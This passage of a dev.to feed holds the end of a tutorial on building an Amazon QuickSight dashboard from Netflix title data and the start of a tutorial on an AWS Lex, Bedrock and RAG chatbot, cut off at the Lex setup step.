&lt;/h2&gt;

&lt;h2&gt;
  
  
  1. Setting Up Your Environment
&lt;/h2&gt;

&lt;p&gt;The first step was creating a QuickSight account, which comes with a 30-day free trial. The setup process took about 5 minutes, including the necessary step of enabling access to my S3 bucket.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fni0nfpckx4ov2j7snh5k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fni0nfpckx4ov2j7snh5k.png" alt="Successful QuickSight account creation screen" width="800" height="451"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Data Preparation
&lt;/h2&gt;

&lt;p&gt;For this project, I worked with two key files:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;netflix_titles.csv: The main dataset containing Netflix content information&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;manifest.json: A configuration file that tells QuickSight where to find and how to read the data&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4wsqsddpf6yjfh7redn4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4wsqsddpf6yjfh7redn4.png" alt="S3 bucket containing the project files — manifest.json and netflix_titles.csv" width="800" height="454"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One important lesson learned: The manifest.json file plays a crucial role in connecting QuickSight to your data. It’s essential to ensure your S3 URI is correctly specified in this file, as an outdated or incorrect URI can prevent access to your data.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Connecting to Your Data Source
&lt;/h2&gt;

&lt;p&gt;After setting up the S3 bucket, the next step was connecting it to QuickSight. This is done through the Datasets section in QuickSight.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmxa4mecnjwxxo3n9j0ux.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmxa4mecnjwxxo3n9j0ux.png" alt="Creating a new data source in QuickSight by selecting S3 and uploading the manifest file" width="800" height="461"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating Visualizations: A Step-by-Step Guide
&lt;/h2&gt;

&lt;h2&gt;
  
  
  First Visualization: Release Year Distribution
&lt;/h2&gt;

&lt;p&gt;My first visualization was a donut chart showing the distribution of Netflix content across release years.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fty24t4fxp5oym4stjf6f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fty24t4fxp5oym4stjf6f.png" alt="Donut chart showing the distribution of Netflix content by release year, with a total of 8.81K titles" width="596" height="364"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here’s how I created it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Selected the donut chart type from the Visuals menu&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Dragged the release_year field to the category section&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The resulting chart provided a clear breakdown of content distribution across the top 20 release years&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Using Filters Effectively
&lt;/h2&gt;

&lt;p&gt;One of the most valuable features I discovered was filtering. For my second visualization, I created a filtered view showing the count of TV shows and movies in specific categories.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fthiwriff1czwu91ubrez.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fthiwriff1czwu91ubrez.png" alt="Bar chart showing the distribution of content across Action &amp;amp; Adventure, TV Comedies, and Thrillers categories" width="713" height="486"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The key learning here was that filters help narrow down data to focus on specific aspects, making your visualizations more meaningful and easier to understand.&lt;/p&gt;

&lt;h2&gt;
  
  
  Building the Final Dashboard
&lt;/h2&gt;

&lt;p&gt;The final step was combining these visualizations into a cohesive dashboard. Here are some best practices I followed:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Edited graph titles to clearly communicate the purpose of each visualization&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Arranged visualizations logically to tell a story with the data&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Used the export function to save the dashboard as a PDF for sharing&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fij8l0xxvpktt4imfamc8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fij8l0xxvpktt4imfamc8.png" alt="The complete dashboard showing multiple visualizations of Netflix content data" width="800" height="601"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Unexpected Challenges and Learnings
&lt;/h2&gt;

&lt;p&gt;While QuickSight is generally user-friendly, I did encounter some navigation challenges. The interface took some time to get familiar with, but once I understood the basic workflow, creating visualizations became much more intuitive.&lt;/p&gt;

&lt;p&gt;The entire project took approximately 2 hours to complete, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Initial setup&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Data preparation&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Creating visualizations&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Dashboard assembly&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Final adjustments&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Tips for Success
&lt;/h2&gt;

&lt;p&gt;Based on my experience, here are some key tips for working with QuickSight:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Ensure your data source connections are properly configured before starting&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Take time to understand the relationship between your data fields&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use filters strategically to focus on the most relevant data&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Pay attention to chart titles and labels for clarity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Save your work frequently&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Amazon QuickSight proves to be a valuable tool for data visualization, especially for those already working within the AWS ecosystem. While there is a learning curve, the platform’s capabilities make it worth the initial investment of time.&lt;/p&gt;

&lt;p&gt;The ability to quickly create interactive dashboards, combined with the scalability of AWS, makes QuickSight a strong contender in the business intelligence space. Whether you’re a data analyst, business professional, or just getting started with data visualization, QuickSight offers the tools needed to transform raw data into meaningful insights.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Have you used Amazon QuickSight or other visualization tools? I’d love to hear about your experiences in the comments below.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>cloud</category>
      <category>tutorial</category>
      <category>data</category>
    </item>
    <item>
      <title>Build an AI-Powered Chatbot with Amazon Lex, Bedrock, S3 and RAG</title>
      <dc:creator>Keyur Modi</dc:creator>
      <pubDate>Sun, 30 Mar 2025 14:17:08 +0000</pubDate>
      <link>https://dev.to/aws-builders/build-an-ai-powered-chatbot-with-amazon-lex-bedrock-s3-and-rag-57ij</link>
      <guid>https://dev.to/aws-builders/build-an-ai-powered-chatbot-with-amazon-lex-bedrock-s3-and-rag-57ij</guid>
      <description>&lt;p&gt;In this comprehensive tutorial, we’ll build a powerful AI chatbot that leverages AWS services to provide intelligent responses based on your organization’s documents. Using Retrieval Augmented Generation (RAG), we’ll create a system that not only understands questions but provides accurate answers from your specific documentation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbi4sj77f6f5x4ncdbttd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbi4sj77f6f5x4ncdbttd.png" alt="architecture diagram" width="800" height="403"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Solution Architecture
&lt;/h2&gt;

&lt;p&gt;Let’s start by understanding the overall architecture of our solution:&lt;/p&gt;

&lt;h2&gt;
  
  
  Core Components and Data Flow
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Amazon S3&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Stores source PDF documents&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Provides secure, scalable document storage&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Acts as the foundation of our knowledge base&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Amazon Bedrock &amp;amp; Knowledge Base&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Orchestrates the RAG workflow&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Processes queries using Claude V2&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Manages document retrieval and response generation&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Titan Embeddings&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Converts documents and queries into vector embeddings&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enables semantic understanding of content&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Processes documents for vector representation&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Amazon OpenSearch&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Functions as our vector store&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enables efficient similarity search&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Indexes processed document embeddings&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Amazon Lex&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Handles the conversational interface&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Manages natural language understanding&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Routes queries through appropriate intents&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;IAM Roles&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Manages cross-service permissions&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Ensures secure communication&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Controls resource access&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;p&gt;Before we begin implementation, ensure you have:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;An AWS account (non-root user with admin privileges)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Access to these Bedrock models:&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Titan Embeddings G1 Text&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Claude V2&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;Basic familiarity with AWS services&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;⚠️ &lt;strong&gt;Important Region Note&lt;/strong&gt;: This implementation must be done in the &lt;strong&gt;US East (N. Virginia) us-east-1&lt;/strong&gt; region as some required Bedrock models may not be available in other regions. Make sure to switch to us-east-1 before starting the implementation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cost Considerations
&lt;/h2&gt;

&lt;p&gt;Understanding the cost structure is crucial for planning:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Amazon Bedrock&lt;/strong&gt;: $0.08 per 1,000 input tokens (Claude V2)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Amazon Lex&lt;/strong&gt;: Free tier includes 10,000 text requests and 5,000 speech requests&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Amazon S3&lt;/strong&gt;: Free tier eligible, then $0.023 per GB&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;OpenSearch Serverless&lt;/strong&gt;: Pricing based on OCU hours&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For development and testing, costs should remain minimal.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implementation Steps
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Document Storage Setup (S3)
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F02a7y080wp4rxpj4yftg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F02a7y080wp4rxpj4yftg.png" alt="Amazon S3 Buckets screen" width="800" height="403"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Navigate to S3 console&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Create a new bucket&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Upload your PDF documents&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faelfj13tzj1nm0a2i3kd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faelfj13tzj1nm0a2i3kd.png" width="800" height="401"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Note the bucket name for later use&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  2. Knowledge Base Configuration (Bedrock)
&lt;/h3&gt;

&lt;p&gt;Before creating our knowledge base, we need to ensure we have access to the required models in Bedrock.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2.1 Request Model Access&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjmaddik7xgry5ghu16k2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjmaddik7xgry5ghu16k2.png" alt="Amazon Bedrock Base models interface" width="800" height="406"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Navigate to Amazon Bedrock in us-east-1 region&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Go to Model access in the left navigation&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Click “Manage model access”&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F85iqvkzqi169wxmi8r5o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F85iqvkzqi169wxmi8r5o.png" width="800" height="406"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Request access to these models if you haven’t already:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Anthropic Claude V2 (under Anthropic section)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Titan Embeddings G1 — Text (under Amazon section)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Select the models and click “Request model access”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Wait for access to be granted (usually takes a few minutes)&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;**Note&lt;/em&gt;&lt;em&gt;: If you don’t have access to a model, you’ll see a message saying “This account doesn’t have access to this model” when you hover over it. Click the provided link to request access.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;2.2 Create Knowledge Base&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcm6gsnoeutldhvw0xnaf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcm6gsnoeutldhvw0xnaf.png" width="800" height="406"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;In Bedrock console, go to Knowledge bases in the left navigation&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Click “Create knowledge base”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Name Knowledge base or leave default&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;For permissions:&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;IAM permissions: Create and use a new service role&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2.3 Configure Data Source&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F95pm9pt4itpe6zzy7ruo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F95pm9pt4itpe6zzy7ruo.png" width="800" height="421"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the data source section:&lt;/p&gt;

&lt;p&gt;Data source: Amazon S3&lt;br&gt;
Source: This AWS account&lt;br&gt;
S3 bucket: Select your ‘ai-powered-bot’ bucket&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foquz8ncnppo7g8ssohhl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foquz8ncnppo7g8ssohhl.png" width="800" height="395"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2.4 Configure Embeddings and Vector Store&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3mxfo3q0yphdxzxxah07.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3mxfo3q0yphdxzxxah07.png" width="800" height="409"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Select embeddings model:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Embeddings model: Titan Embeddings G1 — Text&lt;br&gt;
Provider: Amazon&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Configure vector database:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Vector store creation: Quick create a new vector store (Recommended)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2.5 Review and Create&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Review all configurations&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Click “Create knowledge base”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Wait for the knowledge base to be created (this may take a few minutes)&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;2.6 Sync Data Source&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkjmsq70y6ak4r7b96opm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkjmsq70y6ak4r7b96opm.png" width="800" height="751"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Once the knowledge base is created, you’ll see a success message&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Click “Go to data sources” in the success message&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Select your data source&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Click “Sync” to start indexing your documents&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Wait for the sync to complete (time varies based on document size)&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;**Important&lt;/em&gt;&lt;em&gt;: The sync process converts your documents into embeddings and stores them in the vector database. This is crucial for enabling semantic search capabilities.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;2.7 Verify Knowledge Base Status&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Check the status of your knowledge base:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Go to Knowledge bases&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Look for your knowledge base&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Status should show “Available”&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;Note your Knowledge base ID (you’ll need this for Lex configuration)&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Troubleshooting Common Issues
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Model Access Issues&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Ensure you’re in us-east-1 region&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Verify model access status in Model access page&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Wait a few minutes after requesting access before retrying&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Data Source Sync Failed&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Check IAM role permissions&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Verify S3 bucket accessibility&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Ensure documents are in supported format (PDF)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Vector Store Creation Failed&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Check service quotas&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Verify OpenSearch Serverless availability&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Ensure IAM role has necessary permissions&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Chatbot Implementation (Lex)
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw825tkn3te8ueplyfrpl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw825tkn3te8ueplyfrpl.png" width="800" height="498"&gt;&lt;/a&gt;&lt;/p&gt;

